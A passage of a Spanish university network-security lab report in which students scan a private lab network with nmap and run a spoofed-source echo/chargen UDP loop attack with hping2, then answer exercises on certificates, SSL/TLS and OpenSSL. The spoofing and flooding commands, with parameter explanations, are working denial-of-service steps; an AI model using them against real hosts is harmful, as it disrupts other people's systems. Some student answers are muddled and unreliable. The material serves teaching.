echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
msp 18/tcp # message send protocol
msp 18/udp # message send protocol
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
fsp 21/udp fspd
ssh 22/tcp # SSH Remote Login
Protocol
ssh 22/udp # SSH Remote Login
Protocol
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
nameserver 42/tcp name # IEN 116
whois 43/tcp nicname
re-mail-ck 50/tcp # Remote Mail Checking Protocol
re-mail-ck 50/udp # Remote Mail Checking Protocol
domain 53/tcp nameserver # name-domain server
32 de 60
domain 53/udp nameserver

mtp 57/tcp # deprecated
bootps 67/tcp # BOOTP server
bootps 67/udp
bootpc 68/tcp # BOOTP client
bootpc 68/udp
tftp 69/udp
gopher 70/tcp # Internet Gopher
gopher 70/udp
rje 77/tcp netrjs
finger 79/tcp
www 80/tcp http # WorldWideWeb HTTP
www 80/udp # HyperText Transfer
Protocol
link 87/tcp ttylink
kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5
kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5
supdup 95/tcp
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp tsap # part of ISODE.
csnet-ns 105/tcp cso-ns # also used by CSO name server
csnet-ns 105/udp cso-ns
rtelnet 107/tcp # Remote Telnet
rtelnet 107/udp
pop2 109/tcp postoffice pop-2 # POP version 2
pop2 109/udp pop-2
pop3 110/tcp pop-3 # POP version 3
pop3 110/udp pop-3
sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP
auth 113/tcp authentication tap ident
sftp 115/tcp
uucp-path 117/tcp
nntp 119/tcp readnews untp # USENET News
Transfer Protocol
ntp 123/tcp
ntp 123/udp
reinicio los servicios
root@kstd:~# cd /etc/
root@kstd:/etc# gvi
gview gvim gvimdiff
root@kstd:/etc# gvim inetd.conf
root@kstd:/etc#
33 de 60
root@kstd:/etc/init.d#root@kstd:/etc# cd /etc/init.d/
root@kstd:/etc/init.d# inetd stop
root@kstd:/etc/init.d# inetd stop
root@kstd:/etc/init.d# inetd start
root@kstd:/etc/init.d#
El servicio chargen estaría en la maquina 10.1.1.60 (La maquina debian que tenfgo con la
versión Lenny)
ESCENARIO DEL ATAQUE: Mi red LAN cuenta con direcciones dentro del esquema
10.1.1.0/24
Use nmap para verificar los tres equipos de la red, es decir para explorarlos: Esta
exploración la lanzo desde mi maquina Ubuntu 10.1.1.2 que es la que va a realizar el ataque
root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24

MAC Address: 00:10:5A:A2:0C:2D (3com)
Luego use el comando nmap nuevamente para explorar los servicios UDP de las
maquinas 10.1.1.3 10.1.1.60.
con esto me escaneara los puertos UDP y los servicios relacionados de todos los
equipos de la red:
root@carlosubuntu:/home/carlos# nmap -sU 10.1.1.3/24

PORT STATE SERVICE
34 de 60
53/udp open|filtered domain

67/udp open|filtered dhcps
69/udp open|filtered tftp

PORT STATE SERVICE
68/udp open|filtered dhcpc
5353/udp open|filtered zeroconf

PORT STATE SERVICE
111/udp open|filtered rpcbind

Not shown: 1487 open|filtered ports
PORT STATE SERVICE
4672/udp closed rfa

El anterior proceso demoro mucho y no me arrojo la información que se requería, entonces

ejecuté e comando de tal forma que me explorara el puerto específico UDP con el servicio
asociado, para cada máquina, es decir el puerto 7 UDP para el servicio echo y el puerto 19
UDP para el servicio CHARGEN. El comando que usé fué:
Primero para averiguar el servicio echo en el pueto 7 UDP de la maquina lanzadora o

intermediaria 10.1.1.3 que es el Knoppix STD 0.1
root@carlosubuntu:/home/carlos# nmap -p 7 -PU -sU -vv 10.1.1.3

Initiating ARP Ping Scan at 21:59
Scanning 10.1.1.3 [1 port]
Completed ARP Ping Scan at 21:59, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:59
Completed Parallel DNS resolution of 1 host. at 21:59, 0.03s elapsed
35 de 60
Initiating UDP Scan at 21:59

Completed UDP Scan at 21:59, 0.01s elapsed (1 total ports)
Host 10.1.1.3 appears to be up ... good.
PORT STATE SERVICE
7/udp open echo
Read data files from: /usr/share/nmap

Raw packets sent: 2 (70B) | Rcvd: 2 (98B)
Luego averigüe el servicio CHARGEN en el pueto 7 UDP de la maquina victima

10.1.1.60
root@carlosubuntu:/home/carlos# nmap -p 19 -PU -sU -vv 10.1.1.60

PORT STATE SERVICE
19/udp open|filtered chargen

COMANDO PARA HACER EL ATAQUE:
36 de 60
Los parámetros con los que llamé al comando ‘hping2’ a mi máquina para enviar un paquete
UDP que genere el bucle infinito entre 10.1.1.3 y 10.1.1.60
PC_Lanzadera = SERVICIO ECHO = 10.1.1.1 puerto 7

Victima = SERVICIO CHARGEN = 10.1.1.60, puerto 19
hping2 --udp --baseport 19 --destport 7 --keep -a Victima PC_Lanzadera
Primero desde la maquina atacante es decir mi Ubuntu con IP 10.1.1.2 debo enviar una
petición UDP al servicio ECHO de la maquina Lanzadera es decir el Knoppix con IP
10.1.1.3 , puerto destino (7), pero con puerto UDP fuente Chargen (19) e IP fuente de la
victima, es decir el Debian con IP 10.1.1.60
Entonces el servicio ECHO me responderá al puerto fuente Chargen (19) de la Victima, la

maquina victima generara los caracteres aleatorios hacia la maquina Lanzadera que a su vez
le hará echo hacia la victima y ya se tendría el loop, entonces el comando concreto seria:
“Lanzado desde la 10.1.1.2 o sea el Ubuntu”
root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3

HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes
Descripción de Parámetros para el comando de ataque hping2:

root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3
HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes
# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.1 10.1.1.60
PARÁMETRO DESCRIPCIÓN
10.1.1.3 IP del PC que se usara de lanzadera para atacar a la
víctima
-a 10.1.1.60 IP de la victima, campo de la IP fuente del paquete
IP, acá se hace el IP spoof
--udp Esto indica que el protocolo que se usara será UDP
--keep -a No permite que el puerto origen y destino se
incrementen en forma numérica
--destport Puerto destino
--baseport Puerto fuente
37 de 60
PRUEBAS DEL ATAQUE:
En la máquina victima, es decir el Debian con IP 10.1.1.60 , ejecutéi un sniffer para ver el
tráfico de la eth0 en modo promiscuo.
Desde la victima:
squideb:/home/carlos# tcpdump -i eth0

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
18:20:39.809634 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36
18:20:39.917744 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain]
18:20:39.917959 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39)
18:20:57.807836 arp who-has squideb.cat tell 10.1.1.3
18:20:57.807889 arp reply squideb.cat is-at 00:10:5a:a2:0c:2d (oui Unknown)
38 de 60
CONCLUSION:
El proceso para el ataque fué el correcto. Se observa que en efecto estan las peticiones de
la maquina intermedia 10.1.1.3 a la victima a traves del UDP puerto 7 con el servicio echo.
PERO NO FUNCIONO....................
Por que parece ser que el puerto 7 UDP con el serviio echo no esta abierto,
Lo comprobé verificando desde una maquina de la red si ese servicio estaba abierto así:
root@carlosubuntu:/etc# nmap -p 7 -PU -sU -vv 10.1.1.3

PORT STATE SERVICE
7/udp closed echo

root@carlosubuntu:/etc#
Intente abrirlo de otra forma en esa maquina Knoppix STD 0.1 con IP 10.1.1.3 editando el
archivo inetd.conf ubicado en /etc/inetd.conf
Para ello descomente las lineas echo y chargen referentes al protocolo UDP
39 de 60
# /etc/inetd.conf: see inetd(8) for further informations.

#
# Internet server configuration database
#
#
# Lines starting with "#:LABEL:" or "#<off>#" should not
# be changed unless you know what you are doing!
#
# If you want to disable an entry so it isn't touched during
# package updates just comment it out with a single '#' character.
#
# Packages should modify this file by using update-inetd(8)
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
#:INTERNAL: Internal services
#echo stream tcp nowait root internal
echo dgram udp wait root internal
#chargen stream tcp nowait root internal
chargen dgram udp wait root internal
#discard stream tcp nowait root internal
discard dgram udp wait root internal
#daytime stream tcp nowait root internal
daytime dgram udp wait root internal
#time stream tcp nowait root internal
time dgram udp wait root internal
#:STANDARD: These are standard services.

#ftp stream tcp nowait root /usr/sbin/tcpd
/usr/sbin/in.ftpd
#telnet stream tcp nowait root /usr/sbin/tcpd
/usr/sbin/in.telnetd
#:BSD: Shell, login, exec and talk are BSD protocols.

#talk dgram udp wait root.tty /usr/sbin/tcpd
/usr/sbin/kotalkd
#ntalk dgram udp wait root.tty /usr/sbin/tcpd /usr/sbin/ktalkd
#:MAIL: Mail, news and uucp services.
#:INFO: Info services
#:BOOT: Tftp service is provided primarily for booting. Most sites

# run this only on machines acting as "boot servers."
#tftp dgram udp wait nobody /usr/sbin/tcpd
/usr/sbin/in.tftpd /boot
#:RPC: RPC based services
#:HAM-RADIO: amateur-radio services
40 de 60
#:OTHER: Other services

#<off># netbios-ssn stream tcp nowait root /usr/sbin/tcpd
/usr/sbin/smbd
#<off># netbios-ns dgram udp wait root /usr/sbin/tcpd
/usr/sbin/nmbd -a
#<off># swat stream tcp nowait.400 root /usr/sbin/tcpd
/usr/sbin/swat
#printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd
#vboxd stream tcp nowait root /usr/sbin/tcpd /usr/sbin/vboxd
#saft stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sendfiled
#xtel stream tcp nowait root /usr/sbin/tcpd /usr/sbin/xteld
#<off># https stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 80
#<off># ssmtp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 25
#<off># nntps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 119
#<off># telnets stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 23
#<off># imaps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 143
#<off># ircs stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 194
#<off># pop3s stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 110
#<off># ftps-data stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 20
#<off># ftps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 21
#<off># sswat stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 901
#amanda dgram udp wait backup /usr/sbin/tcpd /usr/lib/amanda/amandad
#amandaidx stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amindexd
#amidxtape stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amidxtaped
Luego intente el ataque y funcionó.
Se puede concluir que se requieren de varias máquinas para hacer un ataque mas efectivo.
3.5 instruccion
hping2 localhost -s 7 -p 19 -c 1 -d 8 -a localhost
root@carlosubuntu:/etc# hping3 localhost -s 7 -p 19 -c 1 -d 8 -a localhost

HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 8 data bytes
len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=19 flags=RA seq=0 win=0 rtt=0.1 ms
--- localhost hping statistic ---

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.1/0.1/0.1 ms
root@carlosubuntu:/etc#
en esta parte se pretende que la misma máquina se ataque con inundación de paquetes al
servicio loopback 127.0.0.1
41 de 60
Para desarrollar los anteriores puntos me apoyé en el libro:
GLOBALTEKSECURITY: TECNOLOGIAS GLOBALES PARA LA SEGURIDAD DE LA INFORMACION
Introducción a las técnicas de ataque e investigación forense, un enfoque pragmático

Preparado por: Armando Carvajal
Gerente de consultoria globalteksecurity
Master en seguridad informática Universidad Oberta de Catalunya
Especialista en construcción de software para redes - Uniandes
Ing. Sistemas – Universidad Incca de Colombia
Pagina web: www.globalteksecurity.com
e-mail: info@globalteksecurity.com
Colombia, Agosto de 2007-
42 de 60
EJERCICIO4: Ana Delcy Nomesque Patiño. Noviembre 14 de 2009
Lea el módulo 1 que se adjunta en el sitio web http://amayac.iespana.es en el enlace de

la UNAD, curso de Telemática, se describen herramientas que proporcionan una serie de
propiedades en relación a la seguridad de la información. Describe, con tus palabras,
en qué consisten las propiedades de confidencialidad, autenticación, integridad y no repudio.
Especifica también qué herramientas de las estudiadas en las partes 1 (Conceptos básicos de
criptografía) y 2 (Sistemas de autenticación) del módulo 3 (Mecanismos de protección)
que se adjunta en el sitio web http://amayac.iespana.es en el enlace de la UNAD,
curso de Telemática ,,resuelven el cumplimiento de estas propiedades..
43 de 60
SOLUCION:
Respuestas
Seguridad de la Información: Propiedades:
Interpreto que estas características, mas que características, son servicios que deben suministrar las
aplicaciones cuando se trata de asegurar la información y que existen diferentes herramientas para dar
cumplimiento a estos servicios.
Confidencialidad: Garantizar el secreto de la información. Asegurarse de que solo obtendrá la

información el usuario seleccionado y asegurarse de que los datos que contiene el documento
permanecen ocultos a los ojos de terceras personas durante su viaje por el medio desde A a B.
Autenticación: Hace parte de uno de los servicios de seguridad que deben ofrecer las aplicaciones y
que se trata de asegurar que nadie falsifique la comunicación. Lo explico con un ejemplo:
Intervienen tres actores: Carlos (emisor auténtico del mensaje) que quiere enviar un mensaje a María
(receptora del mensaje) y un posible falisifcador o “tercero” que quiere hacer creer al destinatario
“María” que es Carlos el que envía el mensaje.
CARLOS MARIA
A B
TERCERO
El servicio de Autenticación nos ofrece dos características importantes:
● Se debe asegurar que el mensaje haya sido originado por Carlos (es decir sea auténtico).
● Este servicio además asegura o confirma que el mensaje sea originado por el que
44 de 60
verdaderamente lo envía (Carlos) y no por un tercero que quiera hacer creer a María que es
Carlos el que lo envía.
Integridad: El servicio de Integridad de datos, se deriva del anterior servicio de Autenticación y es el

que permite confirmar que nadie ha modificado el mensaje enviado por Carlos y que no ha sido
manipulado. Es decir se garantiza su “integridad” su “originalidad” en el contenido. Acá este servicio
permite “verificar” que los datos estén íntegros.
No repudio: El receptor puede saber a ciencia cierta o estar seguro de quién es el mensaje. Se trata
de que una vez enviado un documento por A, éste no pueda negar haber sido el autor de dicho envío.
HERRAMIENTAS QUE CUMPLEN LAS PROPIEDADES DE CONFIDENCIALIDAD,

AUTENTIFICACION, INTEGRIDAD Y NO REPUDIO.
CONFIDENCIALIDAD: Esta propiedad se consigue mediante métodos criptográficos:

Se distinguen dos tipos de sistemas criptográficos:
45 de 60
AUTENTICACION
Se consigue usando algoritmos de funciones de resumen de mensaje (Funciones hash seguras).
46 de 60
INTEGRIDAD
NO REPUDIO
47 de 60
1.2 Explicar que permiten las cadenas de certificados y pon un ejemplo basado en los
navegadores web, relacionándolo con la autoridad VeriSign:
Explico este punto describiéndolo en cuatro pasos resumidos y jerárquicos:
● Todo empieza en un “problema” que se presenta en los criptosistemas de clave pública. Si se

engaña alguien con el valor de la clave pública de otro usuario el sistema se viene abajo .
● Es necesario garantizar la propiedad y la validez de las claves públicas . Una solución para ello
es mediante la generación de un certificado de clave pública firmado digitalmente por una
Autoridad de Certificación (CA). En donde una CA es una tercera parte de confianza(TTP) en la
que confían los participantes en la comunicación miembros de un determinado dominio .
● El problema aún continúa cuando pretendemos comunicación con un usuario que tiene un
certificado emitido por una CA que no se conoce. La seguridad del certificado depende de la
seguridad de la CA . De modo que, si la infraestructura de la CA no es segura tampoco serán
seguros los certificados.
● Entonces, es cuando intervienen las Cadenas de Certificados para garantizar la provisión de

certificados y de otras entidades como:
Autoridades de Registro (RA)
Agentes autorizados para revocar certificados
Repositorios de certificados
Ejemplo basado en los navegadores web.
Para el desarrollo de este punto, me documenté en:
http://www.verisign.es/support/advisories/page_038478.html
48 de 60
El ejemplo aplica para un Navegador Internet explorer:
Desde abril de 2006, es necesario instalar un certificado de CA intermedia para todos los certificados
SSL emitidos por VeriSign.
Para obtener el certificado de una entidad emisora de certificados (CA) intermedia de VeriSign hay que
descargarlo de la ruta:
https://www.verisign.com/support/verisign-intermediate-ca/index.html
La entidad emisora de certificados (CA) intermedia firma todos los certificados SSL mediante una
jerarquía de dos niveles (denominada también cadena de confianza o "trust chain"), que mejora la
seguridad de sus certificados SSL.
En la Figura se muestra la cadena de confianza que se deriva de VeriSign Class 3 Public Primary
CA (CA raíz). Observará que hay varios certificados de CA intermedia firmados por esta CA raíz. Entre
ellos, se incluyen VeriSign Class 3 Secure Server CA y www.verisign.com/CPS Incorp.by
Ref.LIABILITY LTD.(c)97 VeriSign. Estos certificados de CA intermedia firman los certificados de
entidad final (sus certificados SSL). Tenga en cuenta que VeriSign Class 3 Public Primary CA
también firma las CA intermedias de otros productos como, por ejemplo, los certificados OFX y de firma
de código.
49 de 60
En la Figura , se muestra cómo el navegador valida la cadena de confianza. En este ejemplo,

utilizaremos Microsoft Internet Explorer. El certificado SSL de entidad final se encuentra en la parte
inferior de la cadena, mientras que la CA raíz se encuentra en la parte superior. El certificado de CA
intermedia es el que permite al certificado SSL ascender correctamente en la cadena hasta la raíz.
50 de 60
En la figura he capturado las autoridades CA que tengo cargadas en mi Navegador Firefox

correspondientes a VeriSign. Se observa que solo hay una Raiz.
Otro ejemplo:
Esta empresa “invex” le proveen cadenas de certificados por parte de VeriSign
51 de 60
Le provee seguridad para transacciones bancarias
52 de 60
EJERCICIO5: Ana Delcy Nomesque Patiño. Noviembre 14 de 2009
El protocolo SSL / TLS ofrece ciertas garantías de seguridad sobre la información que
se transmite a nivel de transporte. De acuerdo al funcionamiento de los navegadores web,
responde las siguientes preguntas.
5.1. Para que la autenticación del servidor funcione, es preciso que su identidad venga
certificada por una autoridad de confianza. ¿Quién es el responsable de admitir como
"de confianza" una autoridad no reconocida por defecto en el navegador?
5.2. Imagina que recibes un certificado emitido por “Verising” (tal y como se escribe
aquí). Describe qué haría el navegador y qué riesgos de seguridad puede haber.
5.3. Especifica como SSL / TLS evita los siguientes ataques: (1) lectura del PIN de un
acceso a banca online, (2) modificación de la cuenta corriente de destino de una
transacción de banca online, (3) la suplantación de identidad del servidor. Apunta
también, de acuerdo con lo visto en el módulo, como se podría tener éxito en los
ataques.
53 de 60
5.1 Para que la autenticación del servidor funcione, es preciso que su identidad venga
certificada por una autoridad de confianza. ¿Quién es el responsable de admitir como “de
confianza” una autoridad no reconocida por defecto en el navegador?
El proceso o la responsabilidad inicia mediante una “Autenticación de Identidad”, con un protocolo de

reto-respuesta basado en en las que el cliente puede confirmar la identidad del servidor al cual se ha
conectado.
La responsabilidad cae en la validación de las firmas. Esta validación la hace el cliente quién debe
conocer la clave pública del servidor.
El anterior proceso se realiza mediante “certificados digitales” que son los que carga o se
implementan en cada navegador.
5.2 Imagina que recibes un certificado emitido por “Verisign” (tal y como se escribe aquí).
Describe que haría el navegador y que riesgos de seguridad puede haber.
Para responder esta pregunta se parte del supuesto que:
● VeriSign no está soportado por ninguna CA Raíz.

● Tampoco está soportado por una cadena de certificación.
El navegador primero verifica en el momento de instalar el certificado si ya existe uno con una
estructura igual, si no aparece es que el navegador ya poseía dicho certificado.
El primer paso (Solicitud del certificado), el navegador solicitará al servidor de certificados, la descarga
o se puede intalar importando uno previamente descargado. Solicitará la identificación del usuario.
Generará las claves privada y pública del certificado, que permitirán la identificación de forma
electrónica y unívoca a cada usuario.
Luego solicita un nivel de seguridad. Si el PC donde residirá el certificado es utilizado por varias
personas (en este caso se le pedirá una contraseña para mayor seguridad).
Finalmente el navegador implementa un servicio de petición-respuesta para verificar la veracidad del

certificado.
Riesgos que pueden haber:
El principal problema de los criptosistemas de clave pública reside en que si se engaña alguien con el
valor de la clave pública de otro usuario el sistema se viene abajo . Es necesario garantizar la
propiedad y la validez de las claves públicas
54 de 60
● Si la infraestructura de la CA no es segura tampoco serán seguros los certificados.
Generalmente todas la comunicaciones y relaciones que se lleven a cabo en cuanto a la obtención de

certificados están gobernados por una política de seguridad .
Pueden fallar estas políticas y dos de las más relevantes son:
● Que las autoridades de registro (RA): para la identificación y el registro previo de identidades
antes de ser emitidos los certificados tengan fallos o no sean robustas. Entonces el certificado
generado puede fallar.
● Que las autoridades de repositorio, para el almacenamiento y recuperación de certificados no
sean seguras ya sea por ataques, capacidad de almacenamiento o no tengan disponibilidad de
servicio al 100 %.
● Existe un Dominio, que emite políticas de confianza a los usuarios del CA. Los usuarios son
agregados a este Dominio. Si ese dominio tiene problemas en la delegación de permisos ,
pueden generarse certificados que sean válidos pero que tengan restricciones o permisos más
hallá de los solicitados.
● Los Agentes autorizados para revocar certificados pueden ser falsos.
Pero en general, la seguridad depende de la infraestructura de certificación que tengan estas entidades
generadoras de certificados.
5.3 Especifica como SSL / TLS evita los siguientes ataques: (1) lectura de PIN de un acceso a
banca online, (2) modificación de la cuenta corriente de destino de una transacción de banca
online, (3) la suplantación de identidad del servidor. Apunta también, de acuerdo con lo visto
en el módulo, como se podría tener éxito en los ataques.
1. Lectura de PIN: Mediante el uso de criptografía simétrica, en la que la generación de claves

está respaldada por las firmas digitales. Se utiliza el código de autenticación MAC para ambos
extremos.
2. Hace referencia a la emisión de certificados falsos. Por eso se suelen usar cadenas de
certificados y emisiones de confianza a terceras personas, respaldadas por un conjunto de
cadenas de certificados.
3. El éxito en los ataques, lo puede generar mediante ataques de denegación del servicio. Las opciones
de suplantación de identidad usando los ataques smurf, Syncflooding. Esas técnicas en las que se usan
“terceros” para lanzar los ataques.
De igual forma, la longitud de las claves de encriptación y las funciones como las de hash si son
débiles, facilitan los ataques.
55 de 60
EJERCICIO6: Johana Pinto, Angela Patricia Suárez Montoya, Ana Elizabeth Gallo.
Noviembre 14 de 2009
Práctica sobre la herramienta OpenSSL

Para hacer los siguientes ejercicios, necesitarás la herramienta OpenSSL, que
encontrarás en los sistemas Linux. También está disponible para Windows y, de forma
implícita, a los sistemas Mac OS X. En Internet puedes encontrar multitud de tutoriales
y ejemplos de uso. Lógivo que para poder llegar a los ejercicios deben documentar y
estudiar que hce OpenSSL .
6.1. Explica el significado de la siguiente instrucción y de sus parámetros

$ openssl des3 -base64 -in entrada.txt -out encrypt.txt
Esta instrucción cifra el texto que contiene el archivo entrada.txt usando triple DES y el
password proporcionado por el usuario por medio del teclado. El argumento-base64
hace referencia a que la salida debe ser en formato ASCII imprimible y no binario.
6.2. La siguiente cadena se ha cifrado con la clave 'uoc' y el algoritmo triple DES:
U2FsdGVkX18GT87jqkOyNDTecCDE5mNJZk8/pOSvA6SvOMRoH9rRpQ==
¿Cuál es la cadena de origen? ¿Qué comando has utilizado?
Para descifrar esta cadena, primero debemos guardarla en un fichero (al cual
llamamos encrypt.txt) y debemos poner el $ openssl des3 –d -base64 -in
encrypt.txt
Nos pedirá el password y nos aparecerá la frase "la vida es bella"
6.3. Crea ahora un par de claves RSA usando OpenSSL. Usa las siguientes
instrucciones:
$ openssl genrsa –des -out keys.txt 1024
$ openssl genrsa -out keys2.txt 2048
Describe brevemente qué ha pasado y qué diferencia hay entre keys.txt y
keys2.txt. ¿Qué clave es más segura de guardar?
El primer caso, nos la guardará cifrada con DES, con lo cual nos pedirá una
contraseña. Finalmente la cabecera del fichero keys.txt nos indica este cifrado:
----- BEGIN RSA PRIVATE KEY -----
Proc-Type: 4, encrypted
Dek-Info: DES-CBC, 83EE7AF80E5AFD1C
R + f80Hq3pqwtGXBGCj2Jhn …
En el segundo caso nos crea una clave RSA de longitud 2048 bits. Es más seguro
guardar la primera clave, ya que sin conocer la contraseña ni se puede usar con
OpenSSL ni se puede ver el contenido en claro.
6.4. Los anteriores ficheros contienen sólo una clave (la privada). Para obtener la clave
pública correspondiente a la privada generada puedes usar la siguiente instrucción, la
cual contiene errores. Corrige la instrucción:
$ openssl ras –pubin -in keys.txt pubkey.txt
La instrucción correcta sería openssl rsa –pubout -in keys.txt -out
pubkey.txt
56 de 60
6.5. Finalmente usaremos las claves acabadas de crear para firmar un archivo. Crea
un archivo de texto llamado message.txt y escribe cualquier cosa. ¿Qué comando
utilizas para firmar el archivo y guardar la firma en el fichero signatura.txt? Usa los
comandos rsautl para hacerlo con RSA.
$ openssl rsautl -inkey keys.txt –sign -in message.txt -out
signatura.txt
Ahora, a partir del fichero resultante signatura.txt, pide verificar la firma. Di qué
comando usas y cuál es el resultado que obtienes.
Usaremos la instrucción:
$ openssl rsautl –pubin -inkey pubkey.txt –verify -in
signatura.txt -out signed2.txt
En este caso nos generará el archivo signed2.txt el mismo contenido que el mensaje
original, dando a entender que el mensaje es correctamente verificado.
EJERCICIO7: Ana E Soledad Siza y Raul.

Noviembre 14 de 2009
Práctica sobre certificados

Abre el programa wireshark e inicia una captura de paquetes. Accede al sitio web
www.liniaoberta.com y detiene la captura. Analiza el intercambio de mensajes entre el
navegador y el servidor y compáralo con el esquema detallado en la sección 4.2.2. del
módulo 3.
7.1. Justifica las diferencias que observas.
No se hace un Hello Request (en los apuntes ya se comenta que es opcional). El
cliente envía el Client Hello, con la lista de algoritmos criptográficos soportados. El
servidor envía el Server Hello, con la especificación de los algoritmos que se utilizarán.
Lo sigue el mensaje Certificate y el mensaje Server Hello Done. No se manda el
Certificate Request, ya que el cliente no se autentica. Observamos que diversos
mensajes se envían juntos. El cliente envía Client key Exchange, Change Cipher Spec
y Encrypted Handshake Message (equivale a Finished). El servidor envía Change
Cipher Spec y Encrypted Handshake Message.
7.2. ¿Se envían todos los registros sobre una misma trama Ethernet? Muéstralo.
No, algunos se envían en distintas tramas.
57 de 60
7.3. Analiza el certificado que se utiliza cuando entras en este sitio web. Describe el
significado de los campos de información.
Se trata de un certificado de servidor emitido por Verisign Algunos campos se
información són:
Nombre habitual (CN): indica la dirección web que valida el certificado.
Versión.
Número de serie.
Algoritmo de firma.
El emisor.
La validez (por ejemplo con la fecha de caducidad)
La clave que incluye el certificado.
La firma del certificado.
Etc.
58 de 60
7.4. Accede ahora a http://moodle.urv.cat. ¿Por qué aparece el mensaje de

seguridad? ¿Quién ha emitido el certificado? ¿Que diferencia hay con respecto al
apartado anterior?
Nos informa que, a pesar de no estar caducado y referirse a la URL que queremos ver,
según el navegador del emisor del certificado no es de confianza. Lo que pasa es que
no tenemos cargado al sistema las raíces de CATCert (Agencia Catalana de
Certificación) como certificados con los cuales confiar por defecto. En el caso anterior
no había pasado dado que VeriSign ya es de confianza a nuestro navegador (ya tiene
el certificado raíz incluido).
59 de 60
7.5. Opcionalmente, obtén el certificado raíz de CATCert y comprueba que después de

la instalación a vuestro navegador, ya no da el mensaje. Se puede obtener de
http://www.catcert.cat/descarega/acc.crt
60 de 60

Aspectos Avanzados de Seguridad en Redes

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Aspectos Avanzados de Seguridad en Redes

Enviado por

Direitos autorais:

Formatos disponíveis

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA.

Ing. Carlos Alberto Amaya Tarazona

EJERCICIO DE SIMULACION SOBRE PACKET TRACER CON LOS ESQUEMAS DE DIRECCIONAIENTO:

Realice los siquientes esquemas:

Para cada uno de los siguientes esquemas realice:

EJERCICIO1: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009.

Éstos pueden provenir principalmente de dos fuentes:

- Atacantes externos a la ubicación física de la organización, accediendo remotamente.

Aislamiento de maquinas (DNS)

Las vulnerabilidades pueden clasificarse según dos criterios:

Ping of death Port scan

La utilización de estas técnicas se conoce con el nombre de fingerprinting, es decir,

Una técnica específica que permite extraer información de un sistema concreto es el

Gran parte de la información de la pila TCP/IP puede obtenerse en base al intercambio en

La probabilidad de acierto del sistema operativo remoto es muy elevada, y se basa en la

- FIN probe: Al enviarse un paquete de FIN el sistema remoto no debería responder

- ISN sampling: Pretende encontrarse un patrón empleado por la implementación para

- Gestión de la fragmentación [ El manejo de los paquetes fragmentados que se

scale factor, timestamps...) puede descubrirse el comportamiento de cada S.O.

Dentro de las técnicas de identificación de un sistema existen otras, denominadas pasivas,

Sniffers: que se encargan de capturar e interpretar tramas y datagramas mediante

Niffing: también se conocen como técnicas de eavesdropping y técnicas de snooping. La

establecida durante toda la sesión de captura. En este caso, tampoco se modifica la

COMO SE PUEDEN EVITAR LOS ATAQUES:

1.1 Con tus palabras qué es un “Land Attack”. Ç

Como evito el ataque LAND:

La mayoría de los firewalls deberían interceptar el paquete malicioso. Adicionalmente routers

EJERCICIO2: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009.

Con unas cabecera IP y TCP de 20 y 32 bytes de longitud respectivamente, cogiendo un tamaño de

EJERCICIO3 : Diego Joya, Milton Alfonso, Patricia Cañaveral, Nelcy

3.1 Ataque SYN Flooding

El ataque TCP/SYN Flooding se basa en no completar intencionalmente el protocolo de

Diagrama del ataque TCP/SYN Flooding

La instrucción del ataque es así:

DESCRIPCION DE LOS PARAMETROS:

